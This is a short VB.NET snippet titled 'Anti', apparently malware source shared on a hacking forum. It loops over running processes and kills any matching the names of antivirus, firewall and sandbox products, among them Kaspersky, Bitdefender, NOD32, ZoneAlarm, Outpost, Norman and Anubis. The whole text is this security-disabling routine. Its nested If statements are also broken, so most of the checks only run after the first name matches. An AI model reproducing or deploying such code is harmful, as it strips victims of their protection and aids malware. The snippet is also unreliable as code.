Anti

[Crash0w3r]

Dim local As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To local.Length - 1
Debug.WriteLine(local(i).ProcessName)
If Strings.UCase(local(i).ProcessName) = Strings.UCase("sample") Then 'Anubis
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("outpost") Then 'Outpost
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("npfmsg") Then 'Norman
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("bdagent") Then 'Bitdefender
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("kavsvc") Then 'Kaspersky
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("egui") Then 'Nod32
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("zlclient") Then 'Zonealarm
local(i).Kill()
End If
End If
End If
End If
End If
End If
End If
Next